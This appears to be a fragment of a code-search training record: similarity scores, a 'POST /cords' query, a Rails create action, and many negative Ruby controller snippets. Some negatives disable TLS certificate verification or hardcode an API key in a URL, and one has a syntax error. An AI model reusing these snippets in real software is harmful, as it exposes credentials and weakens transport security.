"0.54254156",
"0.5422228",
"0.5422152",
"0.5422149",
"0.54207754",
"0.54207355",
"0.54082847",
"0.5406817",
"0.5404412",
"0.5403326",
"0.54021615",
"0.5397901",
"0.5395051",
"0.53898954",
"0.5386753",
"0.53782207",
"0.5371028",
"0.5370813",
"0.53703517",
"0.53680265",
"0.53563124",
"0.5354913",
"0.53548336",
"0.5354379",
"0.53530514",
"0.5351808",
"0.5350767",
"0.53492403",
"0.53410316",
"0.5326593",
"0.5324892",
"0.5323459",
"0.53220093",
"0.5319463",
"0.5318356",
"0.5318356",
"0.53132814",
"0.5310421",
"0.5304448",
"0.53042614",
"0.53034437",
"0.5300127",
"0.5299058",
"0.5295467",
"0.5294273",
"0.5291685",
"0.5287457",
"0.52865607",
"0.5286452",
"0.52855134",
"0.5284087",
"0.5283488",
"0.52804404"
] |
0.0
|
-1
|
POST /cords POST /cords.json
|
def create
# @cord = Cord.new(cord_params)
@cord = @racquet.cords.new(cord_params)
@cord.user = current_user
respond_to do |format|
if @cord.save
format.html { redirect_to @cord, notice: t('cords.create.success') }
format.json { render :show, status: :created, location: @cord }
else
format.html { render :new }
format.json { render json: @cord.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @aucrecord = Aucrecord.new(aucrecord_params)\n\n respond_to do |format|\n if @aucrecord.save\n format.html { redirect_to @aucrecord, notice: 'Aucrecord was successfully created.' }\n format.json { render action: 'show', status: :created, location: @aucrecord }\n else\n format.html { render action: 'new' }\n format.json { render json: @aucrecord.errors, status: :unprocessable_entity }\n end\n end\n end",
"def discord_params\n params.require(:discord).permit(:id, :name, :link, :population, :game_id)\n end",
"def cord_params\n params.require(:cord).permit(:racquet_id, :name, :colour)\n end",
"def set_cord\n @cord = Cord.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @cord.update(cord_params)\n format.html { redirect_to @cord, notice: t('cords.update.success') }\n format.json { render :show, status: :ok, location: @cord }\n else\n format.html { render :edit }\n format.json { render json: @cord.errors, status: :unprocessable_entity }\n end\n end\n end",
"def send_cdn_logs\n authorize! :manage, CdnLog\n @log_data = JSON.load(params[:logdata])\n CdnLog.create(@log_data)\n respond_to do |format|\n format.json{ head :ok }\n end\n end",
"def create\n from_interface = Interface.find(patchcord_params['from_node'])\n to_interface = Interface.find(patchcord_params['to_node'])\n @patchcord = Patchcord.new(from_node: from_interface,\n to_node: to_interface,\n length: patchcord_params['length'])\n\n respond_to do |format|\n if @patchcord.save\n format.html { redirect_to @patchcord, notice: 'Patchcord was successfully created.' }\n format.json { render :show, status: :created, location: @patchcord }\n else\n format.html { redirect_to new_patchcord_url, alert: @patchcord.errors }\n format.json { render json: @patchcord.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @cord.destroy\n respond_to do |format|\n format.html { redirect_to cords_url, notice: t('cords.destroy.success') }\n format.json { head :no_content }\n end\n end",
"def add_tenant_circle(args = {}) \n post(\"/tenantcircles.json/\", args)\nend",
"def create\n @clonet = Clonet.new(params[:clonet])\n\n respond_to do |format|\n if @clonet.save\n format.html { redirect_to @clonet, notice: 'Clonet was successfully created.' }\n format.json { render json: @clonet, status: :created, location: @clonet }\n else\n format.html { render action: \"new\" }\n format.json { render json: @clonet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cerc = Cerc.new(params[:cerc])\n\n if @cerc.save\n render json: @cerc, status: :created, location: @cerc\n else\n render json: @cerc.errors, status: :unprocessable_entity\n end\n end",
"def create\n @cargo = Cargo.new(cargo_params)\n if @cargo.save\n render json: @cargo\n else\n render json: @cargo.errors, status: :unprocessable_entity\n end\n end",
"def create\n @cordinate = Cordinate.new(cordinate_params)\n\n respond_to do |format|\n if @cordinate.save\n format.html { redirect_to @cordinate, notice: 'Cordinate was successfully created.' }\n format.json { render :show, status: :created, location: @cordinate }\n else\n format.html { render :new }\n format.json { render json: @cordinate.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @crust = Crust.new(params[:crust])\n\n respond_to do |format|\n if @crust.save\n format.html { redirect_to @crust, notice: 'Crust was successfully created.' }\n format.json { render json: @crust, status: :created, location: @crust }\n else\n format.html { render action: \"new\" }\n format.json { render json: @crust.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post(path, json, params = {})\n if path.include?('covid19')\n request = Net::HTTP::Post.new(path, @headers)\n else\n request = Net::HTTP::Post.new('/v2' + path, @headers)\n end\n request.add_field('Content-Type', 'application/json')\n request.body = json\n params.each do |k, v|\n request[k] = v\n end\n send_request(request)\n end",
"def index\n @cords = Cord.all\n @cords = Cord.user_cords(current_user)\n end",
"def create\n @cognitive_distortion = CognitiveDistortion.new(cognitive_distortion_params)\n\n respond_to do |format|\n if @cognitive_distortion.save\n format.html { redirect_to @cognitive_distortion, notice: 'Cognitive distortion was successfully created.' }\n format.json { render :show, status: :created, location: @cognitive_distortion }\n else\n format.html { render :new }\n format.json { render json: @cognitive_distortion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create \n cartoon_ad = CartoonAd.create(cartoon_ad_params)\n render json: cartoon_ad\n end",
"def send_cdn_metadata\n authorize! :manage, CdnMetadata\n @meta_data = JSON.load(params[:metadata])\n CdnMetadata.create(@meta_data)\n @cdn = CdnMetadata.find_last_by_cdnid(@meta_data['cdnid'])\n if @cdn.nil?\n CdnMetadata.create(@meta_data)\n else\n @cdn.update_attributes(@meta_data)\n end\n respond_to do |format|\n format.json{ head :ok }\n end\n end",
"def create\n @csosn = Csosn.new(params[:csosn])\n\n respond_to do |format|\n if @csosn.save\n format.html { redirect_to @csosn, notice: 'Csosn was successfully created.' }\n format.json { render json: @csosn, status: :created, location: @csosn }\n else\n format.html { render action: \"new\" }\n format.json { render json: @csosn.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @chord = Chord.new(chord_params)\n\n respond_to do |format|\n if @chord.save\n format.html { redirect_to @chord, notice: 'Chord was successfully created.' }\n format.json { render :show, status: :created, location: @chord }\n else\n format.html { render :new }\n format.json { render json: @chord.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @consorciot = Consorciot.new(consorciot_params)\n\n respond_to do |format|\n if @consorciot.save\n format.html { redirect_to @consorciot, notice: 'Consorciot was successfully created.' }\n format.json { render :show, status: :created, location: @consorciot }\n else\n format.html { render :new }\n format.json { render json: @consorciot.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @dice = Dice.new(dice_params)\n\n if @dice.save\n render json: @dice, status: :created, location: @dice\n else\n render json: @dice.errors, status: :unprocessable_entity\n end\n end",
"def create\n @dc = Dc.new(params[:dc])\n\n respond_to do |format|\n if @dc.save\n format.html { redirect_to @dc, :notice => 'Dc was successfully created.' }\n format.json { render :json => @dc, :status => :created, :location => @dc }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @dc.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @crowd = Crowd.new(params[:crowd])\n\n respond_to do |format|\n if @crowd.save\n format.html { redirect_to @crowd, notice: 'Crowd was successfully created.' }\n format.json { render json: @crowd, status: :created, location: @crowd }\n else\n format.html { render action: \"new\" }\n format.json { render json: @crowd.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @custody = Custody.new(custody_params)\n\n respond_to do |format|\n if @custody.save\n format.html { redirect_to @custody, notice: 'Custody was successfully created.' }\n format.json { render :show, status: :created, location: @custody }\n else\n format.html { render :new }\n format.json { render json: @custody.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @torneo = Torneo.new(params[:torneo])\n\n respond_to do |format|\n if @torneo.save\n format.html { redirect_to @torneo, notice: 'Torneo was successfully created.' }\n format.json { render json: @torneo, status: :created, location: @torneo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @torneo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def createCharities\n\tcharity_list = [\"Direct Relief\", \"Catholic Medical Mission Board\", \"MAP International\", \"United Nations Foundation\", \"The Rotary Foundation of Rotary International\", \"Samaritan's Purse\", \"Institute of International Education\", \"International Rescue Committee\", \"Compassion International\", \"United States Fund for UNICEF\"]\n\tcharity_list.each do |charity|\n\t\tRestClient.post 'http://api.reimaginebanking.com/merchants?key=e0486a76005721ee6d86b140eaea2a40', { \"name\": \"#{charity}\"}.to_json, :content_type => :json, :accept => :json\n\tend\nend",
"def create\n @doctor = Doctor.new(params[:doctor])\n\n if @doctor.save\n render json: @doctor, status: :created, location: @doctor\n else\n render json: @doctor.errors, status: :unprocessable_entity\n end\n end",
"def create\n @dna = Dna.new(dna_params)\n\n if @dna.save\n render json: @dna, status: :created, location: @dna\n else\n render json: @dna.errors, status: :unprocessable_entity\n end\n end",
"def create\n @scoot = Scoot.new(scoot_params)\n \n respond_to do |format|\n if @scoot.save\n format.html { redirect_to root_url, notice: 'Scoot was successfully created.' }\n format.json { render :show, status: :created, location: @scoot }\n else\n format.html { render :new }\n format.json { render json: @scoot.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n \n dns_entry_response = RestClient.post('https://api.cloudflare.com/client/v4/zones/:zone_identifier/dns_records',:content_type => :json, :accept => :json, :'x-auth-key' => session[:key] :'x-auth-email' => session[:email])\n\n if JSON.parse(dns_entry_response)[\"success\"]\n @dns_entry = DnsEntry.new(dns_entry_params)\n\n respond_to do |format|\n if @dns_entry.save\n format.html { redirect_to @dns_entry, notice: \"Dns entry was successfully created.\" }\n format.json { render :show, status: :created, location: @dns_entry }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @dns_entry.errors, status: :unprocessable_entity }\n end\n end \n\n end\n\n\n end",
"def create\n @cl = Cl.new(cl_params)\n\n respond_to do |format|\n if @cl.save\n format.html { redirect_to @cl, notice: 'Cl was successfully created.' }\n format.json { render :show, status: :created, location: @cl }\n else\n format.html { render :new }\n format.json { render json: @cl.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @dteor = Dteor.new(params[:dteor])\n\n respond_to do |format|\n if @dteor.save\n format.html { redirect_to @dteor, notice: t(:created) }\n format.json { render json: @dteor, status: :created, location: @dteor }\n else\n format.html { render action: \"new\" }\n format.json { render json: @dteor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @directorio = Directorio.new(directorio_params)\n\n respond_to do |format|\n if @directorio.save\n format.html { redirect_to @directorio, notice: 'Directorio was successfully created.' }\n format.json { render :show, status: :created, location: @directorio }\n else\n format.html { render :new }\n format.json { render json: @directorio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cordinator = Cordinator.new(cordinator_params)\n\n respond_to do |format|\n if @cordinator.save\n format.html { redirect_to @cordinator, notice: 'El cordinador se ha creado correctamente' }\n format.json { render :show, status: :created, location: @cordinator }\n else\n format.html { render :new }\n format.json { render json: @cordinator.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add(params)\n headers = {\n 'Cookie' => @context[:koha_rest_api_cookie],\n 'Content-Type' => 'application/json'\n }\n\n http = Net::HTTP.new(\"xkoha\", 8081)\n uri = URI(intranet(:koha_rest_api) + \"patrons\")\n res = http.post(uri, params.to_json, headers)\n expect(res.code).to eq(\"201\"), \"got unexpected #{res.code} when adding patron.\\nResponse body: #{res.body}\"\n res.body\n end",
"def create\n @cdist_type = CdistType.new(params[:cdist_type])\n\n respond_to do |format|\n if @cdist_type.save\n format.html { redirect_to @cdist_type, notice: 'Cdist type was successfully created.' }\n format.json { render json: @cdist_type, status: :created, location: @cdist_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cdist_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cog = Cog.new(cog_params)\n\n respond_to do |format|\n if @cog.save\n format.html { redirect_to @cog, notice: 'Cog was successfully created.' }\n format.json { render :show, status: :created, location: @cog }\n else\n format.html { render :new }\n format.json { render json: @cog.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @dino = Dino.new(dino_params)\n\n if @dino.save\n render json: @dino, status: :created, location: @dino\n else\n render json: @dino.errors, status: :unprocessable_entity\n end\n end",
"def medieval_composers\n response = RestClient.get 'https://api.openopus.org/composer/list/epoch/Medieval.json'\n json = JSON.parse response\n puts json\n\n if !json.nil?\n json[\"composers\"].map do |composer|\n Composer.create(name: \"#{composer[\"complete_name\"]}\", birth: \"#{composer[\"birth\"]}\", death: \"#{composer[\"death\"]}\", portrait: \"#{composer[\"portrait\"]}\", period_id: 1)\n end\n else\n puts \"Error seeding composers\"\n end\nend",
"def patchcord_params\n params.fetch(:patchcord, {}).permit(:from_node, :to_node, :length)\n end",
"def create\n @criterion = Criterion.new(params[:criterion])\n\n if @criterion.save\n render json: @criterion, status: :created, location: @criterion\n else\n render json: @criterion.errors, status: :unprocessable_entity\n end\n end",
"def create\n @syndic = Syndic.new(syndic_params)\n\n respond_to do |format|\n if @syndic.save\n format.html { redirect_to @syndic, notice: \"Syndic was successfully created.\" }\n format.json { render :show, status: :created, location: @syndic }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @syndic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @canon = Canon.new(params[:canon])\n\n respond_to do |format|\n if @canon.save\n format.html { redirect_to @canon, notice: 'Canon was successfully created.' }\n format.json { render json: @canon, status: :created, location: @canon }\n else\n format.html { render action: \"new\" }\n format.json { render json: @canon.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n authorize! :create, Cargo\n @cargo = Cargo.new(cargo_params)\n # @sueldo= Sueldo.new(cargo_params['sueldo_attributes'])\n\n respond_to do |format|\n if @cargo.save\n log(\"Se ha creado el cargo: #{@lt}\", 0)\n\n format.html { redirect_to @cargo, notice: 'El cargo fue creado exitosamente.' }\n format.json { render :show, status: :created, location: @cargo }\n # @sueldo.save\n else\n format.html { render :new }\n format.json { render json: @cargo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @campaign = Campaign.create!(name: params[:name], dm_id: params[:dm_id], theme: params[:theme], setting: params[:setting], calendar_id: params[:calendar_id], starting_level: params[:starting_level], skillset_id: params[:skillset_id], custom_notes: params[:custom_notes], starting_month: params[:month], starting_weekday: params[:weekday], starting_day: params[:day], starting_year: params[:year], starting_age: params[:age], current_month: params[:month], current_weekday: params[:weekday], current_day: params[:day], current_year: params[:year], current_age: params[:age])\n\n params[:race_ids].each do |ri|\n CampaignRace.create!(campaign_id: @campaign.id, race_id: ri)\n end\n\n params[:klass_ids].each do |ki|\n CampaignKlass.create!(campaign_id: @campaign.id, klass_id: ki)\n end\n\n render json: @campaign, status: 201\n\n end",
"def create\n @club = Club.new(params[:club])\n\n if @club.save\n render json: @club, status: :created, location: @club\n else\n render json: @club.errors, status: :unprocessable_entity\n end\n end",
"def post\n Salesforce.set_http(session[:accesstoken], session[:accessurl])\n \t@response = Salesforce.create_post(params)\n \trespond_to do |format|\n format.json { render :json => @response.to_json}\n # example of multiple reponses mapped to one object\n # format.json { render :json => {:data => @response, :meta => @describe}.to_json}\n \tend\n end",
"def create_cdrs(account_number, cdrs_form)\r\n # the base uri for api requests\r\n query_builder = Configuration.base_uri.dup\r\n\r\n # prepare query string for API call\r\n query_builder << '/accounts/{account_number}/cdrs'\r\n\r\n # process optional query parameters\r\n query_builder = APIHelper.append_url_with_template_parameters query_builder, {\r\n 'account_number' => account_number\r\n }\r\n\r\n # validate and preprocess url\r\n query_url = APIHelper.clean_url query_builder\r\n\r\n # prepare headers\r\n headers = {\r\n 'user-agent' => 'APIMATIC 2.0',\r\n 'accept' => 'application/json',\r\n 'content-type' => 'application/json; charset=utf-8',\r\n 'X-Auth-Token' => Configuration.x_auth_token\r\n }\r\n\r\n # invoke the API call request to fetch the response\r\n response = Unirest.post query_url, headers: headers, parameters: cdrs_form.to_json\r\n\r\n # Error handling using HTTP status codes\r\n if response.code == 401\r\n raise APIException.new 'You are not authenticated', 401, response.raw_body\r\n elsif response.code == 403\r\n raise APIException.new 'This action needs a valid WSSE header', 403, response.raw_body\r\n elsif response.code == 404\r\n raise APIException.new 'Resource not found', 404, response.raw_body\r\n elsif response.code == 400\r\n raise APIException.new 'Http bad request', 400, response.raw_body\r\n elsif !response.code.between?(200, 206) # [200,206] = HTTP OK\r\n raise APIException.new 'HTTP Response Not OK', response.code, response.raw_body\r\n end\r\n\r\n response.body\r\n end",
"def create\n @respuesta = Respuesta.new(params[:respuesta])\n\n if @respuesta.save\n render json: @respuesta, status: :created, location: @respuesta\n else\n render json: @respuesta.errors, status: :unprocessable_entity\n end\n end",
"def create\n @calendar = Calendar.new(params[:calendar])\n @calendar.update_attribute :user_id, current_user.id\n\n params[:doors].each_value do |door|\n @calendar.doors.build(door)\n end\n\n respond_to do |format|\n if @calendar.save\n format.html { redirect_to @calendar, notice: 'Calendar was successfully created.' }\n format.json { render json: @calendar, status: :created, location: @calendar }\n else\n format.html { render action: \"new\" }\n format.json { render json: @calendar.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @fundamental_guild = Fundamental::Guild.new(params[:fundamental_guild])\n\n respond_to do |format|\n if @fundamental_guild.save\n format.html { redirect_to @fundamental_guild, notice: 'Guild was successfully created.' }\n format.json { render json: @fundamental_guild, status: :created, location: @fundamental_guild }\n else\n format.html { render action: \"new\" }\n format.json { render json: @fundamental_guild.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n #Create a mutable copy of the params\n dnc_contents=dnc_params\n #Delete params that are only passed as flags\n #A DNC will not save correctly if these params are passed to the DNC itself\n dnc_contents.delete(\"terrtype\")\n dnc_contents.delete(\"redirid\")\n @dnc = Dnc.new(dnc_contents)\n\n respond_to do |format|\n if @dnc.save\n if dnc_params[\"terrtype\"]\n #Terrtype is passed when creating from a territory listing\n #This section is to redirect back to that listing instead of to the DNC\n format.html { redirect_to \"/#{dnc_params[\"terrtype\"]}/#{dnc_params[\"redirid\"]}\", notice: 'DNC was successfully created.' }\n format.json { render :show, status: :ok, location: @dnc }\n else\n format.html { redirect_to @dnc, notice: 'DNC was successfully created.' }\n format.json { render :show, status: :ok, location: @dnc }\n end\n else\n format.html { render :new }\n format.json { render json: @dnc.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_discord\n @discord = Discord.find(params[:id])\n end",
"def create\n @reverse_date_cypher = ReverseDateCypher.new(reverse_date_cypher_params)\n\n respond_to do |format|\n if @reverse_date_cypher.save\n format.html { redirect_to @reverse_date_cypher, notice: 'Reverse date cypher was successfully created.' }\n format.json { render :show, status: :created, location: @reverse_date_cypher }\n else\n format.html { render :new }\n format.json { render json: @reverse_date_cypher.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @clan_match = ClanMatch.new(clan_match_params)\n\n if @clan_match.save\n render json: @clan_match, status: :created, location: @clan_match\n else\n render json: @clan_match.errors, status: :unprocessable_entity\n end\n end",
"def post\n Typhoeus.post(@url,\n body: @results_hash.to_json,\n headers: { 'Content-Type' => 'application/json' })\n end",
"def create\n @distro = Distro.new(distro_params)\n\n respond_to do |format|\n if @distro.save\n format.html { redirect_to @distro, notice: 'Distro was successfully created.' }\n format.json { render action: 'show', status: :created, location: @distro }\n else\n format.html { render action: 'new' }\n format.json { render json: @distro.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @miccropost = Miccropost.new(params[:miccropost])\n\n respond_to do |format|\n if @miccropost.save\n format.html { redirect_to @miccropost, notice: 'Miccropost was successfully created.' }\n format.json { render json: @miccropost, status: :created, location: @miccropost }\n else\n format.html { render action: \"new\" }\n format.json { render json: @miccropost.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_spoonacular\n # %encode ingredients to url\n encoded_ingr = URI.escape(@translated_recipe[:ingredients_list])\n # post call block :\n url = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/parseIngredients?includeNutrition=true\")\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Post.new(url)\n request[\"content-type\"] = \"application/x-www-form-urlencoded\"\n request[\"x-rapidapi-key\"] = ENV[\"X_RAPIDAPI_KEY\"]\n request[\"x-rapidapi-host\"] = \"spoonacular-recipe-food-nutrition-v1.p.rapidapi.com\"\n # body of the call with ingredients and servings\n request.body = \"ingredientList=#{encoded_ingr}&#{@recipe_hash[:servings]}\"\n # response\n response = http.request(request)\n end",
"def create\n @npc = Npc.new(npc_params)\n\n respond_to do |format|\n if @npc.save\n format.html { redirect_to @npc, notice: 'Npc was successfully created.' }\n format.json { render :show, status: :created, location: @npc }\n else\n format.html { render :new }\n format.json { render json: @npc.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @torneo = Torneo.new(torneo_params)\n\n respond_to do |format|\n if @torneo.save\n format.html { redirect_to @torneo, notice: 'Torneo fue creado exitosamente.' }\n format.json { render :show, status: :created, location: @torneo }\n else\n format.html { render :new }\n format.json { render json: @torneo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @corp = Corp.new(corp_params)\n\n respond_to do |format|\n if @corp.save\n format.html { redirect_to @corp, notice: 'Corp was successfully created.' }\n format.json { render :show, status: :created, location: @corp }\n else\n format.html { render :new }\n format.json { render json: @corp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cto = Cto.new(cto_params)\n\n respond_to do |format|\n if @cto.save\n format.html { redirect_to @cto, notice: 'Cto was successfully created.' }\n format.json { render action: 'show', status: :created, location: @cto }\n else\n format.html { render action: 'new' }\n format.json { render json: @cto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @distro = Distro.new(params[:distro])\n @distro.account_id = @oeaccount.id\n respond_to do |format|\n if @distro.save\n\taddtoaccount(\"distros\", @distro)\n format.html { redirect_to distros_url, notice: 'Distro was successfully created.' }\n format.json { render json: @distro, status: :created, location: @distro }\n else\n format.html { render action: \"new\" }\n format.json { render json: @distro.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @conductor = Conductor.new(params[:conductor])\n\n respond_to do |format|\n if @conductor.save\n format.html { redirect_to @conductor, notice: 'Conductor was successfully created.' }\n format.json { render json: @conductor, status: :created, location: @conductor }\n else\n format.html { render action: \"new\" }\n format.json { render json: @conductor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @clidistrict = Clidistrict.new(params[:clidistrict])\n\n respond_to do |format|\n if @clidistrict.save\n format.html { redirect_to @clidistrict, notice: 'Clidistrict was successfully created.' }\n format.json { render json: @clidistrict, status: :created, location: @clidistrict }\n else\n format.html { render action: \"new\" }\n format.json { render json: @clidistrict.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\turi = URI.parse(Counter::Application.config.simplyurl)\n\t\thttp = Net::HTTP.new(uri.host, uri.port)\n\t\t\n\t\trequest = Net::HTTP::Post.new('/offsets.json')\n\t\tputs params\n\t\tputs params.slice(*['custids','acctids','itemids'])\n\t\t\n\t\t# ok, this join stuff is bogus - it encodes properly, but the other side only sees the last element and loses the array type - it's just string\n\t\t# this way, i 'split' it at the other side to recover my array\n\t\t# it should work without the join/split crap, but it doesn't\n\t\trequest.set_form_data({:custids => ( params['custids'] || []).join(','), :acctids => ( params['acctids'] || []).join(','), :itemids => ( params['itemids'] || []).join(','), :amount => params['amount'], :type => params['type']})\n\t\t\n\t\tputs request.body\n\t\t\n\t\tresponse = http.request(request)\n\t\tputs response.body\n\n respond_to do |format|\n format.html { render :text => response.code == :ok ? \"\" : response.body, status: response.code }\n format.json { render :text => response.code == :ok ? \"\" : response.body, status: response.code }\n end\n end",
"def create\n @torso = Torso.new(params[:torso])\n\n respond_to do |format|\n if @torso.save\n format.html { redirect_to @torso, notice: 'Torso was successfully created.' }\n format.json { render json: @torso, status: :created, location: @torso }\n else\n format.html { render action: \"new\" }\n format.json { render json: @torso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post()\n # construct arguments to fetch\n args = {\n method: 'post',\n credentials: 'include',\n headers: {'Content-Type' => 'application/json'},\n body: {\n project: @ppmc.id,\n ids: @ppmc.mentors.join(','),\n action: 'add',\n targets: ['ldap', 'ppmc', 'committer']\n }.inspect\n }\n\n @disabled = true\n Polyfill.require(%w(Promise fetch)) do\n @create_disabled = true\n fetch(\"actions/ppmc\", args).then {|response|\n content_type = response.headers.get('content-type') || ''\n if response.status == 200 and content_type.include? 'json'\n response.json().then do |json|\n self.update(json)\n end\n else\n alert \"#{response.status} #{response.statusText}\"\n end\n @create_disabled = false\n }.catch {|error|\n alert error\n @create_disabled = false\n }\n end\n end",
"def create\n @clue = Clue.new(params[:clue])\n\n respond_to do |format|\n if @clue.save\n format.html { redirect_to @clue, notice: 'Clue was successfully created.' }\n format.json { render json: @clue, status: :created, location: @clue }\n else\n format.html { render action: \"new\" }\n format.json { render json: @clue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @clue = Clue.new(params[:clue])\n\n respond_to do |format|\n if @clue.save\n format.html { redirect_to @clue, notice: 'Clue was successfully created.' }\n format.json { render json: @clue, status: :created, location: @clue }\n else\n format.html { render action: \"new\" }\n format.json { render json: @clue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @dor_master = DorMaster.new(dor_master_params)\n\n respond_to do |format|\n if @dor_master.save\n format.html { redirect_to @dor_master, notice: 'Dor master was successfully created.' }\n format.json { render :show, status: :created, location: @dor_master }\n else\n format.html { render :new }\n format.json { render json: @dor_master.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lector = Lector.new(params[:lector])\n\n respond_to do |format|\n if @lector.save\n format.html { redirect_to @lector, notice: 'El nuevo lector se ha guardado correctamente.' }\n format.json { render json: @lector, status: :created, location: @lector }\n else\n format.html { render action: \"new\" }\n format.json { render json: @lector.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @climate = Climate.new(params[:climate])\n\n respond_to do |format|\n if @climate.save\n format.html { redirect_to @climate, notice: 'Climate was successfully created.' }\n format.json { render json: @climate, status: :created, location: @climate }\n else\n format.html { render action: \"new\" }\n format.json { render json: @climate.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cephalopod = Cephalopod.new(cephalopod_params)\n\n respond_to do |format|\n if @cephalopod.save\n format.html { redirect_to @cephalopod, notice: 'Cephalopod was successfully created.' }\n format.json { render action: 'show', status: :created, location: @cephalopod }\n else\n format.html { render action: 'new' }\n format.json { render json: @cephalopod.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @corp = Corp.new(corp_params)\n\n respond_to do |format|\n if @corp.save\n format.html { redirect_to @corp, notice: 'Corp was successfully created.' }\n format.json { render action: 'show', status: :created, location: @corp }\n else\n format.html { render action: 'new' }\n format.json { render json: @corp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n randomRace if params[:npc][:race_id].size == 0\n @npc = Race.find(params[:npc][:race_id]).npcs.create(npc_params)\n \n respond_to do |format|\n if @npc.save\n format.html { redirect_to @npc, notice: 'Npc was successfully created.' }\n format.json { render :show, status: :created, location: @npc }\n else\n format.html { render :new }\n format.json { render json: @npc.errors, status: :unprocessable_entity }\n end\n end\n \n end",
"def create_novel\n add_char_to_novel_svc = CharacterService::AddCharacterToNovel\n .new(params[:novel_id], params[:id])\n\n add_char_to_novel_svc.perform\n if add_char_to_novel_svc.errors?\n render json: add_char_to_novel_svc.errors,\n status: add_char_to_novel_svc.errors[:http_status]\n else\n render_ok\n end\n end",
"def create\n @dolgnost = Dolgnost.new(params[:dolgnost])\n\n respond_to do |format|\n if @dolgnost.save\n format.html { redirect_to @dolgnost, notice: 'Dolgnost was successfully created.' }\n format.json { render json: @dolgnost, status: :created, location: @dolgnost }\n else\n format.html { render action: \"new\" }\n format.json { render json: @dolgnost.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @clinic_doctor = ClinicDoctor.new(params[:clinic_doctor])\n\n respond_to do |format|\n if @clinic_doctor.save\n format.html { redirect_to @clinic_doctor, notice: 'Clinic doctor was successfully created.' }\n format.json { render json: @clinic_doctor, status: :created, location: @clinic_doctor }\n else\n format.html { render action: \"new\" }\n format.json { render json: @clinic_doctor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @dino = Dino.new(dino_params)\n\n respond_to do |format|\n if @dino.save\n format.html { redirect_to @dino, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @dino }\n else\n format.html { render :new }\n format.json{ render json: @dino.errors, status: :unprocessable_entity }\n end\n end\nend",
"def create\n authorize Dorm\n @dorm = Dorm.new(dorm_params)\n\n respond_to do |format|\n if @dorm.save\n format.html { redirect_to @dorm, notice: 'Dorm was successfully created.' }\n format.json { render :show, status: :created, location: @dorm }\n else\n format.html { render :new }\n format.json { render json: @dorm.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @nightclub = Nightclub.new(params[:nightclub])\n\n respond_to do |format|\n if @nightclub.save\n format.html { redirect_to @nightclub, notice: 'Nightclub was successfully created.' }\n format.json { render json: @nightclub, status: :created, location: @nightclub }\n else\n format.html { render action: \"new\" }\n format.json { render json: @nightclub.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n #@incident = @quote.incidents.new(incident_params)\n logger.info params[:incident]\n params[:incident].each do |incident|\n @incident = @quote.incidents.new(incident)\n @incident.save\n end\n respond_to do |format|\n format.json { render :json => { :code => \"201\", :description => \"Created incidents\"} }\n end\n end",
"def create\n @dish = @cafeteria.dishes.new(dish_params)\n\n respond_to do |format|\n if @dish.save\n format.html { redirect_to @cafeteria, notice: 'El plato se ha creado.' }\n format.json { render :show, status: :created, location: @dish }\n else\n format.html { redirect_to @cafeteria, alert: 'No se pudo crear el plato.' }\n format.json { render json: @dish.errors, status: :unprocessable_entity }\n end\n end\n end",
